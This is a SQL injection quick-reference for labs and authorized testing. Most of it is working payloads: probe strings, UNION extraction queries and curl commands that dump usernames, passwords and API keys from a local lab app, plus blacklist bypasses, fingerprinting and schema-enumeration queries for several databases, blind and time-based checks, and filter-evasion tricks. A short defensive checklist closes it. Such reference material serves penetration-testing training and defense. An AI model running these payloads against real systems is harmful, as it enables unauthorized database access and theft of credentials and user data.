Use this as a quick reference while testing SQL injection in labs and authorized assessments.
Quick Probes
String context:
'
"
`)
')
"))
Boolean true and false:
' AND '1'='1
' AND '1'='2
' OR '1'='1'-- -
Numeric true and false:
1 AND 1=1
1 AND 1=2
1 OR 1=1
Comment styles:
-- -
#
/* comment */
Lab curl Checks
Normal search:
curl -i "http://127.0.0.1:5000/sqli/basic?q=Signal"
SQLite version:
curl -i --get "http://127.0.0.1:5000/sqli/basic" \
--data-urlencode "q=nope' UNION SELECT 1,sqlite_version(),'x','y'-- "
Dump seeded users:
curl -i --get "http://127.0.0.1:5000/sqli/basic" \
--data-urlencode "q=nope' UNION SELECT id,username,password,api_key FROM users-- "
Weak blacklist bypass:
curl -i --get "http://127.0.0.1:5000/sqli/blacklist" \
--data-urlencode "q=nope'/**/UNION/**/SELECT/**/id,username,password,api_key/**/FROM/**/users-- "
Better-stage dynamic field exploit:
curl -i --get "http://127.0.0.1:5000/sqli/better" \
--data-urlencode "q=Signal" \
--data-urlencode "field=(SELECT group_concat(username || ':' || password, char(10)) FROM users)"
Fixed route:
curl -i --get "http://127.0.0.1:5000/sqli/fixed" \
--data-urlencode "q=Signal" \
--data-urlencode "field=(SELECT group_concat(username || ':' || password, char(10)) FROM users)"
The fixed route should return 400 Bad Request.
UNION Workflow
Find column count:
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
' ORDER BY 4-- -
Alternative:
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL,NULL-- -
Find displayed columns:
' UNION SELECT 1,2,3,4-- -
Extract through displayed columns:
' UNION SELECT 1,sqlite_version(),'x','y'-- -
' UNION SELECT id,username,password,api_key FROM users-- -
Database Fingerprints
SQLite:
SELECT sqlite_version();
MySQL:
SELECT @@version;
SELECT database();
SELECT user();
PostgreSQL:
SELECT version();
SELECT current_database();
SELECT current_user;
MSSQL:
SELECT @@version;
SELECT DB_NAME();
SELECT SYSTEM_USER;
Oracle:
SELECT banner FROM v$version;
SELECT user FROM dual;
Schema Enumeration
SQLite:
SELECT name FROM sqlite_master WHERE type='table';
SELECT sql FROM sqlite_master WHERE sql IS NOT NULL;
PRAGMA table_info(users);
MySQL / PostgreSQL:
SELECT table_name FROM information_schema.tables;
SELECT column_name FROM information_schema.columns WHERE table_name='users';
MSSQL:
SELECT name FROM sys.databases;
SELECT name FROM sys.tables;
SELECT name FROM sys.columns WHERE object_id = OBJECT_ID('users');
Oracle:
SELECT table_name FROM all_tables;
SELECT column_name FROM all_tab_columns WHERE table_name='USERS';
Blind Checks
Boolean extraction shape:
' AND substr((SELECT username FROM users LIMIT 1),1,1)='a'-- -
Length check:
' AND length((SELECT username FROM users LIMIT 1))>5-- -
Existence check:
' AND EXISTS(SELECT 1 FROM users WHERE username='admin')-- -
Time-Based Checks
MySQL:
SLEEP(5)
PostgreSQL:
pg_sleep(5)
MSSQL:
WAITFOR DELAY '0:0:5'
Oracle:
DBMS_PIPE.RECEIVE_MESSAGE('x',5)
SQLite does not have a clean built-in sleep function. Heavy expressions may create measurable delay in labs, but they are noisy and unreliable.
Filter Bypass Ideas
Whitespace alternatives:
%09
%0a
%0d
/**/
Keyword casing:
UnIoN SeLeCt
Inline comments:
UNION/**/SELECT
String building:
CHAR(65,66,67)
CONCAT('ad','min')
URL encoding:
%27%20OR%20%271%27%3D%271%27--%20
Bypasses are database and application specific. Confirm behavior instead of assuming a payload is portable.
Defensive Review
Confirm:
- Queries use parameters for values.
- Dynamic identifiers use strict allowlists.
- Database accounts have least privilege.
- Verbose SQL errors are not returned to users.
- Dangerous database features are disabled or restricted.
- Authentication queries do not reveal whether a username exists.
- Logs capture suspicious query errors and repeated probing.